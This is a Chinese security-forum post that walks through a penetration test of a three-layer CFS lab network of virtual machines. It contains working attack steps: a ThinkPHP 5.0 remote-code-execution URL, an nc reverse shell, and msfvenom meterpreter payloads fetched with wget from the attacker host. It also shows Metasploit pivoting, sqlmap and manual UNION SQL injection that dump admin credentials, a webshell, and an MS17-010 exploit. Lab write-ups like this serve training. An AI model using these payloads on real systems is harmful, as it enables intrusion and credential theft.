安全矩阵

 找回密码
 立即注册
搜索
查看: 4742|回复: 0

CFS三层靶机渗透

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2020-3-4 11:52:20 | 显示全部楼层 |阅读模式
本帖最后由 pukr 于 2020-3-4 12:01 编辑

环境搭建

设置3个VMnet网卡

VMnet8设置为出网IP

  1. VMnet8:子网IP:192.168.42.0    子网掩码:255.255.255.0
复制代码


设置了
VMnet1(仅主机模式)、VMnet2(仅主机模式),这两个个网络是不出外网的,也就是当做我们的内网主机!其中它们的子网地址分别是:
  1. VMnet1:  子网IP:192.168.22.0    子网掩码:255.255.255.0
  2. VMnet2:  子网IP:192.168.33.0    子网掩码:255.255.255.0
复制代码
网络拓扑图

在宝塔面板设置好,对于的ip解析网站
对Target1_CentOS 7信息搜集

  1. root@kepler:~/桌面# nmap -T4 -A 192.168.42.3 --script=vuln
  2. Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 17:24 CST
  3. Pre-scan script results:
  4. | broadcast-avahi-dos:
  5. |   Discovered hosts:
  6. |     224.0.0.251
  7. |   After NULL UDP avahi packet DoS (CVE-2011-1002).
  8. |_  Hosts are all up (not vulnerable).
  9. Stats: 0:08:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
  10. NSE Timing: About 99.67% done; ETC: 17:33 (0:00:02 remaining)
  11. Stats: 0:08:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
  12. NSE Timing: About 99.67% done; ETC: 17:33 (0:00:02 remaining)
  13. Nmap scan report for 192.168.42.3
  14. Host is up (0.00066s latency).
  15. Not shown: 993 closed ports
  16. PORT     STATE SERVICE VERSION
  17. 21/tcp   open  ftp     Pure-FTPd
  18. |_clamav-exec: ERROR: Script execution failed (use -d to debug)
  19. |_sslv2-drown:
  20. 22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
  21. |_clamav-exec: ERROR: Script execution failed (use -d to debug)
  22. | vulners:
  23. |   cpe:/a:openbsd:openssh:7.4:
  24. |       CVE-2018-15919  5.0     https://vulners.com/cve/CVE-2018-15919
  25. |_      CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-15906
  26. 80/tcp   open  http    nginx
  27. |_clamav-exec: ERROR: Script execution failed (use -d to debug)
  28. |_http-csrf: Couldn't find any CSRF vulnerabilities.
  29. |_http-dombased-xss: Couldn't find any DOM based XSS.
  30. | http-enum:
  31. |_  /robots.txt: Robots file
  32. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  33. 111/tcp  open  rpcbind 2-4 (RPC #100000)
  34. |_clamav-exec: ERROR: Script execution failed (use -d to debug)                                                                                                                                                   
  35. | rpcinfo:                                                                                                                                                                                                        
  36. |   program version    port/proto  service                                                                                                                                                                        
  37. |   100000  2,3,4        111/tcp   rpcbind                                                                                                                                                                        
  38. |   100000  2,3,4        111/udp   rpcbind                                                                                                                                                                        
  39. |   100000  3,4          111/tcp6  rpcbind                                                                                                                                                                        
  40. |_  100000  3,4          111/udp6  rpcbind                                                                                                                                                                        
  41. 888/tcp  open  http    nginx
  42. |_clamav-exec: ERROR: Script execution failed (use -d to debug)
  43. |_http-csrf: Couldn't find any CSRF vulnerabilities.
  44. |_http-dombased-xss: Couldn't find any DOM based XSS.
  45. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  46. 3306/tcp open  mysql   MySQL (unauthorized)
  47. |_clamav-exec: ERROR: Script execution failed (use -d to debug)
  48. |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
  49. 8888/tcp open  http    Ajenti http control panel
  50. |_clamav-exec: ERROR: Script execution failed (use -d to debug)
  51. |_http-csrf: Couldn't find any CSRF vulnerabilities.
  52. |_http-dombased-xss: Couldn't find any DOM based XSS.
  53. | http-enum:
  54. |_  /robots.txt: Robots file
  55. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  56. MAC Address: 00:0C:29:78:B2:1B (VMware)
  57. Device type: general purpose
  58. Running: Linux 3.X|4.X
  59. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  60. OS details: Linux 3.2 - 4.9
  61. Network Distance: 1 hop

  62. TRACEROUTE
  63. HOP RTT     ADDRESS
  64. 1   0.66 ms 192.168.42.3

  65. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  66. Nmap done: 1 IP address (1 host up) scanned in 564.68 seconds
复制代码
先从80端口开始


发现它是ThinkPHP 框架,版本是 V5.0
想到了ThinkPHP-V5.0-RCE漏洞

根据POC进行命令执行
  1. http://192.168.42.3/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
复制代码

直接反弹shell

  1. 本地监听nc -lvp 6666
  2. nc 192.168.42.4 6666 -e /bin/bash
复制代码


之后使用
  1. python -c 'import pty;pty.spawn("/bin/bash")'
复制代码
获取交互shell


经过测试目标机器,可以使用wget,利用msf生成elf马。
  1. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.42.4 LPORT=1111 -f elf >shell.elf
复制代码


在本机创建临时服务
  1. python -m SimpleHTTPServer 8080
复制代码


在肉鸡上执行下载eif
  1. wget http://192.168.42.4:8080/shell.elf
  2. chmod +x shell.elf
复制代码
在kali机创建监听

  1. msf5 > use exploit/multi/handler
  2. msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
  3. payload => linux/x64/meterpreter/reverse_tcp
  4. msf5 exploit(multi/handler) > show options

  5. Module options (exploit/multi/handler):

  6.    Name  Current Setting  Required  Description
  7.    ----  ---------------  --------  -----------


  8. Payload options (linux/x64/meterpreter/reverse_tcp):

  9.    Name   Current Setting  Required  Description
  10.    ----   ---------------  --------  -----------
  11.    LHOST                   yes       The listen address (an interface may be specified)
  12.    LPORT  4444             yes       The listen port


  13. Exploit target:

  14.    Id  Name
  15.    --  ----
  16.    0   Wildcard Target


  17. msf5 exploit(multi/handler) > set LHOST 192.168.42.4
  18. LHOST => 192.168.42.4
  19. msf5 exploit(multi/handler) > set LPORT 1111
  20. LPORT => 1111
  21. msf5 exploit(multi/handler) > exploit
  22. [*] Started reverse TCP handler on 192.168.42.4:1111
复制代码


在肉鸡上运行elf



使用 MSF 中的这个命令获取当前的网段:
  1. run get_local_subnets
复制代码

添加路由
  1. run autoroute -s 192.168.22.0/24
复制代码

检查路由规则
  1. route
复制代码
之后background
使用
  1. auxiliary/scanner/portscan/tcp
复制代码
对192.168.22.0/24段进行扫描
发现第二层靶机机器
使用代理
  1. auxiliary/server/socks4a
复制代码
添加成功,之后在/etc/proxychains.conf配置代理

对第二层内网进行扫描
  1. proxychains nmap -Pn -sT 192.168.22.2

  2. 因为socket代理不支持arp,icmp这种协议,所以用tcp扫描
复制代码
之前已经扫描到有80端口
所以先查看80端口服务

使用dirb扫描目录
  1. proxychains dirb http://192.168.22.2
复制代码
顺便习惯性的查看robots.txt
发现后台

通过查看源代码看到提示

之后使用

  1. proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" #测试注入点
复制代码
发现是mysql数据库

  1. proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword --dbs #查看数据库
复制代码

  1. proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms --tables
复制代码


  1. proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin --columns
复制代码



  1. proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
复制代码




拿到账号密码
之前环境有问题于是手工注入

  1. 判断字段
  2. http://192.168.22.2/index.php?r=vul&keyword=1' order by 39 --+
  3. 查库名
  4. http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(schema_name) from information_schema.schemata --+
  5. 库名
  6. bagecms
  7. 查表名
  8. http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name) from information_schema.tables where table_schema='bagecms' --+

  9. age_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
  10. 查字段名
  11. http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 group_concat(column_name) from information_schema.columns where table_name='bage_admin' --+
  12. 字段
  13. id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
  14. 查值
  15. http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(id,username,password) from bage_admin --+
  16. 值admin 46f94c8de14fb36680850768ff1b7f2a
复制代码

只后到网站上md5解密
登录上网站后之后找可getshell的地方

看到模版地方,

看到模版地方,
  1. proxychains ./AntSword
复制代码


打开蚁剑
连接后,使用msf生成elf,由于目标机器处于第二层内网当中
  1. msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=1234 -f elf > shell1234.elf
  2. 使用proxychains msfconsole
  3. 不然无法连接到
复制代码

监听也使用bind_tcp正向连接
之后使用蚁剑上传shell1234.elf
  1. chmod +x shell1234.elf
  2. ./shell1234.elf
复制代码
成功上线
添加路由
  1. run autoroute -s 192.168.33.0/24
复制代码
之后对内网进行扫描
  1. auxiliary/scanner/smb/smb_version
复制代码
在第三层内网下
发现Windows7机器
尝试ms17-010扫描一下试试
  1. use auxiliary/scanner/smb/smb_ms17_010
复制代码

使用
  1. use exploit/windows/smb/ms17_010_psexec
复制代码
使用payload 正向,这样可以顺利和shell建立连接
  1. set payload windows/x64/meterpreter/bind_tcp
复制代码

成功打到第三层内网


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-19 09:07 , Processed in 0.018232 second(s), 20 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表